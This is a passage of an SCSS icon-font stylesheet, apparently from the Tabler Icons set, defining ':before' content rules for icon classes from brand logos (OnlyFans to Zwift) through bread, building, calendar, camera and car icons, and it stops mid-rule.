$ti-icon-brand-onlyfans;\n}\n\n.#{$ti-prefix}-brand-open-source:before {\n  content: $ti-icon-brand-open-source;\n}\n\n.#{$ti-prefix}-brand-openai:before {\n  content: $ti-icon-brand-openai;\n}\n\n.#{$ti-prefix}-brand-openvpn:before {\n  content: $ti-icon-brand-openvpn;\n}\n\n.#{$ti-prefix}-brand-opera:before {\n  content: $ti-icon-brand-opera;\n}\n\n.#{$ti-prefix}-brand-pagekit:before {\n  content: $ti-icon-brand-pagekit;\n}\n\n.#{$ti-prefix}-brand-parsinta:before {\n  content: $ti-icon-brand-parsinta;\n}\n\n.#{$ti-prefix}-brand-patreon:before {\n  content: $ti-icon-brand-patreon;\n}\n\n.#{$ti-prefix}-brand-patreon-filled:before {\n  content: $ti-icon-brand-patreon-filled;\n}\n\n.#{$ti-prefix}-brand-paypal:before {\n  content: $ti-icon-brand-paypal;\n}\n\n.#{$ti-prefix}-brand-paypal-filled:before {\n  content: $ti-icon-brand-paypal-filled;\n}\n\n.#{$ti-prefix}-brand-paypay:before {\n  content: $ti-icon-brand-paypay;\n}\n\n.#{$ti-prefix}-brand-peanut:before {\n  content: $ti-icon-brand-peanut;\n}\n\n.#{$ti-prefix}-brand-pepsi:before {\n  content: $ti-icon-brand-pepsi;\n}\n\n.#{$ti-prefix}-brand-php:before {\n  content: $ti-icon-brand-php;\n}\n\n.#{$ti-prefix}-brand-picsart:before {\n  content: $ti-icon-brand-picsart;\n}\n\n.#{$ti-prefix}-brand-pinterest:before {\n  content: $ti-icon-brand-pinterest;\n}\n\n.#{$ti-prefix}-brand-planetscale:before {\n  content: $ti-icon-brand-planetscale;\n}\n\n.#{$ti-prefix}-brand-pnpm:before {\n  content: $ti-icon-brand-pnpm;\n}\n\n.#{$ti-prefix}-brand-pocket:before {\n  content: $ti-icon-brand-pocket;\n}\n\n.#{$ti-prefix}-brand-polymer:before {\n  content: $ti-icon-brand-polymer;\n}\n\n.#{$ti-prefix}-brand-powershell:before {\n  content: $ti-icon-brand-powershell;\n}\n\n.#{$ti-prefix}-brand-printables:before {\n  content: $ti-icon-brand-printables;\n}\n\n.#{$ti-prefix}-brand-prisma:before {\n  content: $ti-icon-brand-prisma;\n}\n\n.#{$ti-prefix}-brand-producthunt:before {\n  content: $ti-icon-brand-producthunt;\n}\n\n.#{$ti-prefix}-brand-pushbullet:before {\n  content: $ti-icon-brand-pushbullet;\n}\n\n.#{$ti-prefix}-brand-pushover:before {\n  content: $ti-icon-brand-pushover;\n}\n\n.#{$ti-prefix}-brand-python:before {\n  content: $ti-icon-brand-python;\n}\n\n.#{$ti-prefix}-brand-qq:before {\n  content: $ti-icon-brand-qq;\n}\n\n.#{$ti-prefix}-brand-radix-ui:before {\n  content: $ti-icon-brand-radix-ui;\n}\n\n.#{$ti-prefix}-brand-react:before {\n  content: $ti-icon-brand-react;\n}\n\n.#{$ti-prefix}-brand-react-native:before {\n  content: $ti-icon-brand-react-native;\n}\n\n.#{$ti-prefix}-brand-reason:before {\n  content: $ti-icon-brand-reason;\n}\n\n.#{$ti-prefix}-brand-reddit:before {\n  content: $ti-icon-brand-reddit;\n}\n\n.#{$ti-prefix}-brand-redhat:before {\n  content: $ti-icon-brand-redhat;\n}\n\n.#{$ti-prefix}-brand-redux:before {\n  content: $ti-icon-brand-redux;\n}\n\n.#{$ti-prefix}-brand-revolut:before {\n  content: $ti-icon-brand-revolut;\n}\n\n.#{$ti-prefix}-brand-rumble:before {\n  content: $ti-icon-brand-rumble;\n}\n\n.#{$ti-prefix}-brand-rust:before {\n  content: $ti-icon-brand-rust;\n}\n\n.#{$ti-prefix}-brand-safari:before {\n  content: $ti-icon-brand-safari;\n}\n\n.#{$ti-prefix}-brand-samsungpass:before {\n  content: $ti-icon-brand-samsungpass;\n}\n\n.#{$ti-prefix}-brand-sass:before {\n  content: $ti-icon-brand-sass;\n}\n\n.#{$ti-prefix}-brand-sentry:before {\n  content: $ti-icon-brand-sentry;\n}\n\n.#{$ti-prefix}-brand-sharik:before {\n  content: $ti-icon-brand-sharik;\n}\n\n.#{$ti-prefix}-brand-shazam:before {\n  content: $ti-icon-brand-shazam;\n}\n\n.#{$ti-prefix}-brand-shopee:before {\n  content: $ti-icon-brand-shopee;\n}\n\n.#{$ti-prefix}-brand-sketch:before {\n  content: $ti-icon-brand-sketch;\n}\n\n.#{$ti-prefix}-brand-skype:before {\n  content: $ti-icon-brand-skype;\n}\n\n.#{$ti-prefix}-brand-slack:before {\n  content: $ti-icon-brand-slack;\n}\n\n.#{$ti-prefix}-brand-snapchat:before {\n  content: $ti-icon-brand-snapchat;\n}\n\n.#{$ti-prefix}-brand-snapseed:before {\n  content: $ti-icon-brand-snapseed;\n}\n\n.#{$ti-prefix}-brand-snowflake:before {\n  content: $ti-icon-brand-snowflake;\n}\n\n.#{$ti-prefix}-brand-socket-io:before {\n  content: $ti-icon-brand-socket-io;\n}\n\n.#{$ti-prefix}-brand-solidjs:before {\n  content: $ti-icon-brand-solidjs;\n}\n\n.#{$ti-prefix}-brand-soundcloud:before {\n  content: $ti-icon-brand-soundcloud;\n}\n\n.#{$ti-prefix}-brand-spacehey:before {\n  content: $ti-icon-brand-spacehey;\n}\n\n.#{$ti-prefix}-brand-speedtest:before {\n  content: $ti-icon-brand-speedtest;\n}\n\n.#{$ti-prefix}-brand-spotify:before {\n  content: $ti-icon-brand-spotify;\n}\n\n.#{$ti-prefix}-brand-spotify-filled:before {\n  content: $ti-icon-brand-spotify-filled;\n}\n\n.#{$ti-prefix}-brand-stackoverflow:before {\n  content: $ti-icon-brand-stackoverflow;\n}\n\n.#{$ti-prefix}-brand-stackshare:before {\n  content: $ti-icon-brand-stackshare;\n}\n\n.#{$ti-prefix}-brand-steam:before {\n  content: $ti-icon-brand-steam;\n}\n\n.#{$ti-prefix}-brand-stocktwits:before {\n  content: $ti-icon-brand-stocktwits;\n}\n\n.#{$ti-prefix}-brand-storj:before {\n  content: $ti-icon-brand-storj;\n}\n\n.#{$ti-prefix}-brand-storybook:before {\n  content: $ti-icon-brand-storybook;\n}\n\n.#{$ti-prefix}-brand-storytel:before {\n  content: $ti-icon-brand-storytel;\n}\n\n.#{$ti-prefix}-brand-strava:before {\n  content: $ti-icon-brand-strava;\n}\n\n.#{$ti-prefix}-brand-stripe:before {\n  content: $ti-icon-brand-stripe;\n}\n\n.#{$ti-prefix}-brand-sublime-text:before {\n  content: $ti-icon-brand-sublime-text;\n}\n\n.#{$ti-prefix}-brand-sugarizer:before {\n  content: $ti-icon-brand-sugarizer;\n}\n\n.#{$ti-prefix}-brand-supabase:before {\n  content: $ti-icon-brand-supabase;\n}\n\n.#{$ti-prefix}-brand-superhuman:before {\n  content: $ti-icon-brand-superhuman;\n}\n\n.#{$ti-prefix}-brand-supernova:before {\n  content: $ti-icon-brand-supernova;\n}\n\n.#{$ti-prefix}-brand-surfshark:before {\n  content: $ti-icon-brand-surfshark;\n}\n\n.#{$ti-prefix}-brand-svelte:before {\n  content: $ti-icon-brand-svelte;\n}\n\n.#{$ti-prefix}-brand-swift:before {\n  content: $ti-icon-brand-swift;\n}\n\n.#{$ti-prefix}-brand-symfony:before {\n  content: $ti-icon-brand-symfony;\n}\n\n.#{$ti-prefix}-brand-tabler:before {\n  content: $ti-icon-brand-tabler;\n}\n\n.#{$ti-prefix}-brand-tailwind:before {\n  content: $ti-icon-brand-tailwind;\n}\n\n.#{$ti-prefix}-brand-taobao:before {\n  content: $ti-icon-brand-taobao;\n}\n\n.#{$ti-prefix}-brand-teams:before {\n  content: $ti-icon-brand-teams;\n}\n\n.#{$ti-prefix}-brand-ted:before {\n  content: $ti-icon-brand-ted;\n}\n\n.#{$ti-prefix}-brand-telegram:before {\n  content: $ti-icon-brand-telegram;\n}\n\n.#{$ti-prefix}-brand-terraform:before {\n  content: $ti-icon-brand-terraform;\n}\n\n.#{$ti-prefix}-brand-tether:before {\n  content: $ti-icon-brand-tether;\n}\n\n.#{$ti-prefix}-brand-thingiverse:before {\n  content: $ti-icon-brand-thingiverse;\n}\n\n.#{$ti-prefix}-brand-threads:before {\n  content: $ti-icon-brand-threads;\n}\n\n.#{$ti-prefix}-brand-threejs:before {\n  content: $ti-icon-brand-threejs;\n}\n\n.#{$ti-prefix}-brand-tidal:before {\n  content: $ti-icon-brand-tidal;\n}\n\n.#{$ti-prefix}-brand-tiktok:before {\n  content: $ti-icon-brand-tiktok;\n}\n\n.#{$ti-prefix}-brand-tiktok-filled:before {\n  content: $ti-icon-brand-tiktok-filled;\n}\n\n.#{$ti-prefix}-brand-tinder:before {\n  content: $ti-icon-brand-tinder;\n}\n\n.#{$ti-prefix}-brand-topbuzz:before {\n  content: $ti-icon-brand-topbuzz;\n}\n\n.#{$ti-prefix}-brand-torchain:before {\n  content: $ti-icon-brand-torchain;\n}\n\n.#{$ti-prefix}-brand-toyota:before {\n  content: $ti-icon-brand-toyota;\n}\n\n.#{$ti-prefix}-brand-trello:before {\n  content: $ti-icon-brand-trello;\n}\n\n.#{$ti-prefix}-brand-tripadvisor:before {\n  content: $ti-icon-brand-tripadvisor;\n}\n\n.#{$ti-prefix}-brand-tumblr:before {\n  content: $ti-icon-brand-tumblr;\n}\n\n.#{$ti-prefix}-brand-twilio:before {\n  content: $ti-icon-brand-twilio;\n}\n\n.#{$ti-prefix}-brand-twitch:before {\n  content: $ti-icon-brand-twitch;\n}\n\n.#{$ti-prefix}-brand-twitter:before {\n  content: $ti-icon-brand-twitter;\n}\n\n.#{$ti-prefix}-brand-twitter-filled:before {\n  content: $ti-icon-brand-twitter-filled;\n}\n\n.#{$ti-prefix}-brand-typescript:before {\n  content: $ti-icon-brand-typescript;\n}\n\n.#{$ti-prefix}-brand-uber:before {\n  content: $ti-icon-brand-uber;\n}\n\n.#{$ti-prefix}-brand-ubuntu:before {\n  content: $ti-icon-brand-ubuntu;\n}\n\n.#{$ti-prefix}-brand-unity:before {\n  content: $ti-icon-brand-unity;\n}\n\n.#{$ti-prefix}-brand-unsplash:before {\n  content: $ti-icon-brand-unsplash;\n}\n\n.#{$ti-prefix}-brand-upwork:before {\n  content: $ti-icon-brand-upwork;\n}\n\n.#{$ti-prefix}-brand-valorant:before {\n  content: $ti-icon-brand-valorant;\n}\n\n.#{$ti-prefix}-brand-vercel:before {\n  content: $ti-icon-brand-vercel;\n}\n\n.#{$ti-prefix}-brand-vimeo:before {\n  content: $ti-icon-brand-vimeo;\n}\n\n.#{$ti-prefix}-brand-vinted:before {\n  content: $ti-icon-brand-vinted;\n}\n\n.#{$ti-prefix}-brand-visa:before {\n  content: $ti-icon-brand-visa;\n}\n\n.#{$ti-prefix}-brand-visual-studio:before {\n  content: $ti-icon-brand-visual-studio;\n}\n\n.#{$ti-prefix}-brand-vite:before {\n  content: $ti-icon-brand-vite;\n}\n\n.#{$ti-prefix}-brand-vivaldi:before {\n  content: $ti-icon-brand-vivaldi;\n}\n\n.#{$ti-prefix}-brand-vk:before {\n  content: $ti-icon-brand-vk;\n}\n\n.#{$ti-prefix}-brand-vlc:before {\n  content: $ti-icon-brand-vlc;\n}\n\n.#{$ti-prefix}-brand-volkswagen:before {\n  content: $ti-icon-brand-volkswagen;\n}\n\n.#{$ti-prefix}-brand-vsco:before {\n  content: $ti-icon-brand-vsco;\n}\n\n.#{$ti-prefix}-brand-vscode:before {\n  content: $ti-icon-brand-vscode;\n}\n\n.#{$ti-prefix}-brand-vue:before {\n  content: $ti-icon-brand-vue;\n}\n\n.#{$ti-prefix}-brand-walmart:before {\n  content: $ti-icon-brand-walmart;\n}\n\n.#{$ti-prefix}-brand-waze:before {\n  content: $ti-icon-brand-waze;\n}\n\n.#{$ti-prefix}-brand-webflow:before {\n  content: $ti-icon-brand-webflow;\n}\n\n.#{$ti-prefix}-brand-wechat:before {\n  content: $ti-icon-brand-wechat;\n}\n\n.#{$ti-prefix}-brand-weibo:before {\n  content: $ti-icon-brand-weibo;\n}\n\n.#{$ti-prefix}-brand-whatsapp:before {\n  content: $ti-icon-brand-whatsapp;\n}\n\n.#{$ti-prefix}-brand-wikipedia:before {\n  content: $ti-icon-brand-wikipedia;\n}\n\n.#{$ti-prefix}-brand-windows:before {\n  content: $ti-icon-brand-windows;\n}\n\n.#{$ti-prefix}-brand-windy:before {\n  content: $ti-icon-brand-windy;\n}\n\n.#{$ti-prefix}-brand-wish:before {\n  content: $ti-icon-brand-wish;\n}\n\n.#{$ti-prefix}-brand-wix:before {\n  content: $ti-icon-brand-wix;\n}\n\n.#{$ti-prefix}-brand-wordpress:before {\n  content: $ti-icon-brand-wordpress;\n}\n\n.#{$ti-prefix}-brand-x:before {\n  content: $ti-icon-brand-x;\n}\n\n.#{$ti-prefix}-brand-x-filled:before {\n  content: $ti-icon-brand-x-filled;\n}\n\n.#{$ti-prefix}-brand-xamarin:before {\n  content: $ti-icon-brand-xamarin;\n}\n\n.#{$ti-prefix}-brand-xbox:before {\n  content: $ti-icon-brand-xbox;\n}\n\n.#{$ti-prefix}-brand-xdeep:before {\n  content: $ti-icon-brand-xdeep;\n}\n\n.#{$ti-prefix}-brand-xing:before {\n  content: $ti-icon-brand-xing;\n}\n\n.#{$ti-prefix}-brand-yahoo:before {\n  content: $ti-icon-brand-yahoo;\n}\n\n.#{$ti-prefix}-brand-yandex:before {\n  content: $ti-icon-brand-yandex;\n}\n\n.#{$ti-prefix}-brand-yarn:before {\n  content: $ti-icon-brand-yarn;\n}\n\n.#{$ti-prefix}-brand-yatse:before {\n  content: $ti-icon-brand-yatse;\n}\n\n.#{$ti-prefix}-brand-ycombinator:before {\n  content: $ti-icon-brand-ycombinator;\n}\n\n.#{$ti-prefix}-brand-youtube:before {\n  content: $ti-icon-brand-youtube;\n}\n\n.#{$ti-prefix}-brand-youtube-filled:before {\n  content: $ti-icon-brand-youtube-filled;\n}\n\n.#{$ti-prefix}-brand-youtube-kids:before {\n  content: $ti-icon-brand-youtube-kids;\n}\n\n.#{$ti-prefix}-brand-zalando:before {\n  content: $ti-icon-brand-zalando;\n}\n\n.#{$ti-prefix}-brand-zapier:before {\n  content: $ti-icon-brand-zapier;\n}\n\n.#{$ti-prefix}-brand-zeit:before {\n  content: $ti-icon-brand-zeit;\n}\n\n.#{$ti-prefix}-brand-zhihu:before {\n  content: $ti-icon-brand-zhihu;\n}\n\n.#{$ti-prefix}-brand-zoom:before {\n  content: $ti-icon-brand-zoom;\n}\n\n.#{$ti-prefix}-brand-zulip:before {\n  content: $ti-icon-brand-zulip;\n}\n\n.#{$ti-prefix}-brand-zwift:before {\n  content: $ti-icon-brand-zwift;\n}\n\n.#{$ti-prefix}-bread:before {\n  content: $ti-icon-bread;\n}\n\n.#{$ti-prefix}-bread-filled:before {\n  content: $ti-icon-bread-filled;\n}\n\n.#{$ti-prefix}-bread-off:before {\n  content: $ti-icon-bread-off;\n}\n\n.#{$ti-prefix}-briefcase:before {\n  content: $ti-icon-briefcase;\n}\n\n.#{$ti-prefix}-briefcase-2:before {\n  content: $ti-icon-briefcase-2;\n}\n\n.#{$ti-prefix}-briefcase-2-filled:before {\n  content: $ti-icon-briefcase-2-filled;\n}\n\n.#{$ti-prefix}-briefcase-filled:before {\n  content: $ti-icon-briefcase-filled;\n}\n\n.#{$ti-prefix}-briefcase-off:before {\n  content: $ti-icon-briefcase-off;\n}\n\n.#{$ti-prefix}-brightness:before {\n  content: $ti-icon-brightness;\n}\n\n.#{$ti-prefix}-brightness-2:before {\n  content: $ti-icon-brightness-2;\n}\n\n.#{$ti-prefix}-brightness-auto:before {\n  content: $ti-icon-brightness-auto;\n}\n\n.#{$ti-prefix}-brightness-auto-filled:before {\n  content: $ti-icon-brightness-auto-filled;\n}\n\n.#{$ti-prefix}-brightness-down:before {\n  content: $ti-icon-brightness-down;\n}\n\n.#{$ti-prefix}-brightness-down-filled:before {\n  content: $ti-icon-brightness-down-filled;\n}\n\n.#{$ti-prefix}-brightness-filled:before {\n  content: $ti-icon-brightness-filled;\n}\n\n.#{$ti-prefix}-brightness-half:before {\n  content: $ti-icon-brightness-half;\n}\n\n.#{$ti-prefix}-brightness-off:before {\n  content: $ti-icon-brightness-off;\n}\n\n.#{$ti-prefix}-brightness-up:before {\n  content: $ti-icon-brightness-up;\n}\n\n.#{$ti-prefix}-brightness-up-filled:before {\n  content: $ti-icon-brightness-up-filled;\n}\n\n.#{$ti-prefix}-broadcast:before {\n  content: $ti-icon-broadcast;\n}\n\n.#{$ti-prefix}-broadcast-off:before {\n  content: $ti-icon-broadcast-off;\n}\n\n.#{$ti-prefix}-browser:before {\n  content: $ti-icon-browser;\n}\n\n.#{$ti-prefix}-browser-check:before {\n  content: $ti-icon-browser-check;\n}\n\n.#{$ti-prefix}-browser-off:before {\n  content: $ti-icon-browser-off;\n}\n\n.#{$ti-prefix}-browser-plus:before {\n  content: $ti-icon-browser-plus;\n}\n\n.#{$ti-prefix}-browser-x:before {\n  content: $ti-icon-browser-x;\n}\n\n.#{$ti-prefix}-brush:before {\n  content: $ti-icon-brush;\n}\n\n.#{$ti-prefix}-brush-off:before {\n  content: $ti-icon-brush-off;\n}\n\n.#{$ti-prefix}-bucket:before {\n  content: $ti-icon-bucket;\n}\n\n.#{$ti-prefix}-bucket-droplet:before {\n  content: $ti-icon-bucket-droplet;\n}\n\n.#{$ti-prefix}-bucket-off:before {\n  content: $ti-icon-bucket-off;\n}\n\n.#{$ti-prefix}-bug:before {\n  content: $ti-icon-bug;\n}\n\n.#{$ti-prefix}-bug-filled:before {\n  content: $ti-icon-bug-filled;\n}\n\n.#{$ti-prefix}-bug-off:before {\n  content: $ti-icon-bug-off;\n}\n\n.#{$ti-prefix}-building:before {\n  content: $ti-icon-building;\n}\n\n.#{$ti-prefix}-building-arch:before {\n  content: $ti-icon-building-arch;\n}\n\n.#{$ti-prefix}-building-bank:before {\n  content: $ti-icon-building-bank;\n}\n\n.#{$ti-prefix}-building-bridge:before {\n  content: $ti-icon-building-bridge;\n}\n\n.#{$ti-prefix}-building-bridge-2:before {\n  content: $ti-icon-building-bridge-2;\n}\n\n.#{$ti-prefix}-building-broadcast-tower:before {\n  content: $ti-icon-building-broadcast-tower;\n}\n\n.#{$ti-prefix}-building-broadcast-tower-filled:before {\n  content: $ti-icon-building-broadcast-tower-filled;\n}\n\n.#{$ti-prefix}-building-carousel:before {\n  content: $ti-icon-building-carousel;\n}\n\n.#{$ti-prefix}-building-castle:before {\n  content: $ti-icon-building-castle;\n}\n\n.#{$ti-prefix}-building-church:before {\n  content: $ti-icon-building-church;\n}\n\n.#{$ti-prefix}-building-circus:before {\n  content: $ti-icon-building-circus;\n}\n\n.#{$ti-prefix}-building-community:before {\n  content: $ti-icon-building-community;\n}\n\n.#{$ti-prefix}-building-cottage:before {\n  content: $ti-icon-building-cottage;\n}\n\n.#{$ti-prefix}-building-estate:before {\n  content: $ti-icon-building-estate;\n}\n\n.#{$ti-prefix}-building-factory:before {\n  content: $ti-icon-building-factory;\n}\n\n.#{$ti-prefix}-building-factory-2:before {\n  content: $ti-icon-building-factory-2;\n}\n\n.#{$ti-prefix}-building-fortress:before {\n  content: $ti-icon-building-fortress;\n}\n\n.#{$ti-prefix}-building-hospital:before {\n  content: $ti-icon-building-hospital;\n}\n\n.#{$ti-prefix}-building-lighthouse:before {\n  content: $ti-icon-building-lighthouse;\n}\n\n.#{$ti-prefix}-building-monument:before {\n  content: $ti-icon-building-monument;\n}\n\n.#{$ti-prefix}-building-mosque:before {\n  content: $ti-icon-building-mosque;\n}\n\n.#{$ti-prefix}-building-pavilion:before {\n  content: $ti-icon-building-pavilion;\n}\n\n.#{$ti-prefix}-building-skyscraper:before {\n  content: $ti-icon-building-skyscraper;\n}\n\n.#{$ti-prefix}-building-stadium:before {\n  content: $ti-icon-building-stadium;\n}\n\n.#{$ti-prefix}-building-store:before {\n  content: $ti-icon-building-store;\n}\n\n.#{$ti-prefix}-building-tunnel:before {\n  content: $ti-icon-building-tunnel;\n}\n\n.#{$ti-prefix}-building-warehouse:before {\n  content: $ti-icon-building-warehouse;\n}\n\n.#{$ti-prefix}-building-wind-turbine:before {\n  content: $ti-icon-building-wind-turbine;\n}\n\n.#{$ti-prefix}-bulb:before {\n  content: $ti-icon-bulb;\n}\n\n.#{$ti-prefix}-bulb-filled:before {\n  content: $ti-icon-bulb-filled;\n}\n\n.#{$ti-prefix}-bulb-off:before {\n  content: $ti-icon-bulb-off;\n}\n\n.#{$ti-prefix}-bulldozer:before {\n  content: $ti-icon-bulldozer;\n}\n\n.#{$ti-prefix}-burger:before {\n  content: $ti-icon-burger;\n}\n\n.#{$ti-prefix}-bus:before {\n  content: $ti-icon-bus;\n}\n\n.#{$ti-prefix}-bus-off:before {\n  content: $ti-icon-bus-off;\n}\n\n.#{$ti-prefix}-bus-stop:before {\n  content: $ti-icon-bus-stop;\n}\n\n.#{$ti-prefix}-businessplan:before {\n  content: $ti-icon-businessplan;\n}\n\n.#{$ti-prefix}-butterfly:before {\n  content: $ti-icon-butterfly;\n}\n\n.#{$ti-prefix}-cactus:before {\n  content: $ti-icon-cactus;\n}\n\n.#{$ti-prefix}-cactus-filled:before {\n  content: $ti-icon-cactus-filled;\n}\n\n.#{$ti-prefix}-cactus-off:before {\n  content: $ti-icon-cactus-off;\n}\n\n.#{$ti-prefix}-cake:before {\n  content: $ti-icon-cake;\n}\n\n.#{$ti-prefix}-cake-off:before {\n  content: $ti-icon-cake-off;\n}\n\n.#{$ti-prefix}-calculator:before {\n  content: $ti-icon-calculator;\n}\n\n.#{$ti-prefix}-calculator-filled:before {\n  content: $ti-icon-calculator-filled;\n}\n\n.#{$ti-prefix}-calculator-off:before {\n  content: $ti-icon-calculator-off;\n}\n\n.#{$ti-prefix}-calendar:before {\n  content: $ti-icon-calendar;\n}\n\n.#{$ti-prefix}-calendar-bolt:before {\n  content: $ti-icon-calendar-bolt;\n}\n\n.#{$ti-prefix}-calendar-cancel:before {\n  content: $ti-icon-calendar-cancel;\n}\n\n.#{$ti-prefix}-calendar-check:before {\n  content: $ti-icon-calendar-check;\n}\n\n.#{$ti-prefix}-calendar-clock:before {\n  content: $ti-icon-calendar-clock;\n}\n\n.#{$ti-prefix}-calendar-code:before {\n  content: $ti-icon-calendar-code;\n}\n\n.#{$ti-prefix}-calendar-cog:before {\n  content: $ti-icon-calendar-cog;\n}\n\n.#{$ti-prefix}-calendar-dollar:before {\n  content: $ti-icon-calendar-dollar;\n}\n\n.#{$ti-prefix}-calendar-dot:before {\n  content: $ti-icon-calendar-dot;\n}\n\n.#{$ti-prefix}-calendar-down:before {\n  content: $ti-icon-calendar-down;\n}\n\n.#{$ti-prefix}-calendar-due:before {\n  content: $ti-icon-calendar-due;\n}\n\n.#{$ti-prefix}-calendar-event:before {\n  content: $ti-icon-calendar-event;\n}\n\n.#{$ti-prefix}-calendar-exclamation:before {\n  content: $ti-icon-calendar-exclamation;\n}\n\n.#{$ti-prefix}-calendar-filled:before {\n  content: $ti-icon-calendar-filled;\n}\n\n.#{$ti-prefix}-calendar-heart:before {\n  content: $ti-icon-calendar-heart;\n}\n\n.#{$ti-prefix}-calendar-minus:before {\n  content: $ti-icon-calendar-minus;\n}\n\n.#{$ti-prefix}-calendar-month:before {\n  content: $ti-icon-calendar-month;\n}\n\n.#{$ti-prefix}-calendar-off:before {\n  content: $ti-icon-calendar-off;\n}\n\n.#{$ti-prefix}-calendar-pause:before {\n  content: $ti-icon-calendar-pause;\n}\n\n.#{$ti-prefix}-calendar-pin:before {\n  content: $ti-icon-calendar-pin;\n}\n\n.#{$ti-prefix}-calendar-plus:before {\n  content: $ti-icon-calendar-plus;\n}\n\n.#{$ti-prefix}-calendar-question:before {\n  content: $ti-icon-calendar-question;\n}\n\n.#{$ti-prefix}-calendar-repeat:before {\n  content: $ti-icon-calendar-repeat;\n}\n\n.#{$ti-prefix}-calendar-sad:before {\n  content: $ti-icon-calendar-sad;\n}\n\n.#{$ti-prefix}-calendar-search:before {\n  content: $ti-icon-calendar-search;\n}\n\n.#{$ti-prefix}-calendar-share:before {\n  content: $ti-icon-calendar-share;\n}\n\n.#{$ti-prefix}-calendar-smile:before {\n  content: $ti-icon-calendar-smile;\n}\n\n.#{$ti-prefix}-calendar-star:before {\n  content: $ti-icon-calendar-star;\n}\n\n.#{$ti-prefix}-calendar-stats:before {\n  content: $ti-icon-calendar-stats;\n}\n\n.#{$ti-prefix}-calendar-time:before {\n  content: $ti-icon-calendar-time;\n}\n\n.#{$ti-prefix}-calendar-up:before {\n  content: $ti-icon-calendar-up;\n}\n\n.#{$ti-prefix}-calendar-user:before {\n  content: $ti-icon-calendar-user;\n}\n\n.#{$ti-prefix}-calendar-week:before {\n  content: $ti-icon-calendar-week;\n}\n\n.#{$ti-prefix}-calendar-x:before {\n  content: $ti-icon-calendar-x;\n}\n\n.#{$ti-prefix}-camera:before {\n  content: $ti-icon-camera;\n}\n\n.#{$ti-prefix}-camera-bolt:before {\n  content: $ti-icon-camera-bolt;\n}\n\n.#{$ti-prefix}-camera-cancel:before {\n  content: $ti-icon-camera-cancel;\n}\n\n.#{$ti-prefix}-camera-check:before {\n  content: $ti-icon-camera-check;\n}\n\n.#{$ti-prefix}-camera-code:before {\n  content: $ti-icon-camera-code;\n}\n\n.#{$ti-prefix}-camera-cog:before {\n  content: $ti-icon-camera-cog;\n}\n\n.#{$ti-prefix}-camera-dollar:before {\n  content: $ti-icon-camera-dollar;\n}\n\n.#{$ti-prefix}-camera-down:before {\n  content: $ti-icon-camera-down;\n}\n\n.#{$ti-prefix}-camera-exclamation:before {\n  content: $ti-icon-camera-exclamation;\n}\n\n.#{$ti-prefix}-camera-filled:before {\n  content: $ti-icon-camera-filled;\n}\n\n.#{$ti-prefix}-camera-heart:before {\n  content: $ti-icon-camera-heart;\n}\n\n.#{$ti-prefix}-camera-minus:before {\n  content: $ti-icon-camera-minus;\n}\n\n.#{$ti-prefix}-camera-off:before {\n  content: $ti-icon-camera-off;\n}\n\n.#{$ti-prefix}-camera-pause:before {\n  content: $ti-icon-camera-pause;\n}\n\n.#{$ti-prefix}-camera-pin:before {\n  content: $ti-icon-camera-pin;\n}\n\n.#{$ti-prefix}-camera-plus:before {\n  content: $ti-icon-camera-plus;\n}\n\n.#{$ti-prefix}-camera-question:before {\n  content: $ti-icon-camera-question;\n}\n\n.#{$ti-prefix}-camera-rotate:before {\n  content: $ti-icon-camera-rotate;\n}\n\n.#{$ti-prefix}-camera-search:before {\n  content: $ti-icon-camera-search;\n}\n\n.#{$ti-prefix}-camera-selfie:before {\n  content: $ti-icon-camera-selfie;\n}\n\n.#{$ti-prefix}-camera-share:before {\n  content: $ti-icon-camera-share;\n}\n\n.#{$ti-prefix}-camera-star:before {\n  content: $ti-icon-camera-star;\n}\n\n.#{$ti-prefix}-camera-up:before {\n  content: $ti-icon-camera-up;\n}\n\n.#{$ti-prefix}-camera-x:before {\n  content: $ti-icon-camera-x;\n}\n\n.#{$ti-prefix}-camper:before {\n  content: $ti-icon-camper;\n}\n\n.#{$ti-prefix}-campfire:before {\n  content: $ti-icon-campfire;\n}\n\n.#{$ti-prefix}-campfire-filled:before {\n  content: $ti-icon-campfire-filled;\n}\n\n.#{$ti-prefix}-candle:before {\n  content: $ti-icon-candle;\n}\n\n.#{$ti-prefix}-candle-filled:before {\n  content: $ti-icon-candle-filled;\n}\n\n.#{$ti-prefix}-candy:before {\n  content: $ti-icon-candy;\n}\n\n.#{$ti-prefix}-candy-off:before {\n  content: $ti-icon-candy-off;\n}\n\n.#{$ti-prefix}-cane:before {\n  content: $ti-icon-cane;\n}\n\n.#{$ti-prefix}-cannabis:before {\n  content: $ti-icon-cannabis;\n}\n\n.#{$ti-prefix}-capsule:before {\n  content: $ti-icon-capsule;\n}\n\n.#{$ti-prefix}-capsule-filled:before {\n  content: $ti-icon-capsule-filled;\n}\n\n.#{$ti-prefix}-capsule-horizontal:before {\n  content: $ti-icon-capsule-horizontal;\n}\n\n.#{$ti-prefix}-capsule-horizontal-filled:before {\n  content: $ti-icon-capsule-horizontal-filled;\n}\n\n.#{$ti-prefix}-capture:before {\n  content: $ti-icon-capture;\n}\n\n.#{$ti-prefix}-capture-filled:before {\n  content: $ti-icon-capture-filled;\n}\n\n.#{$ti-prefix}-capture-off:before {\n  content: $ti-icon-capture-off;\n}\n\n.#{$ti-prefix}-car:before {\n  content: $ti-icon-car;\n}\n\n.#{$ti-prefix}-car-4wd:before {\n  content: $ti-icon-car-4wd;\n}\n\n.#{$ti-prefix}-car-crane:before {\n  content: $ti-icon-car-crane;\n}\n\n.#{$ti-prefix}-car-crash:before {\n  content: $ti-icon-car-crash;\n}\n\n.#{$ti-prefix}-car-fan:before {\n  content: $ti-icon-car-fan;\n}\n\n.#{$ti-prefix}-car-fan-1:before {\n  content: $ti-icon-car-fan-1;\n}\n\n.#{$ti-prefix}-car-fan-2:before {\n  content: $ti-icon-car-fan-2;\n}\n\n.#{$ti-prefix}-car-fan-3:before {\n  content: $ti-icon-car-fan-3;\n}\n\n.#{$ti-prefix}-car-fan-auto:before {\n  content: $ti-icon-car-fan-auto;\n}\n\n.#{$ti-prefix}-car-garage:before {\n  content: $ti-icon-car-garage;\n}\n\n.#{$ti-prefix}-car-off:before {\n  content: $ti-icon-car-off;\n}\n\n.#{$ti-prefix}-car-suv:before {\n  content: $ti-icon-car-suv;\n}\n\n.#{$ti-prefix}-car-turbine:before {\n  content: $ti-icon-car-turbine;\n}\n\n.#{$ti-prefix}-caravan:before {\n  content: $ti-icon-caravan;\n}\n\n.#{$ti-prefix}-cardboards:before {\n  content: $ti-icon-cardboards;\n}\n\n.#{$ti-prefix}-cardboards-off:before {\n  content: $ti-icon-cardboards-off;\n}\n\n.#{$ti-prefix}-cards:before 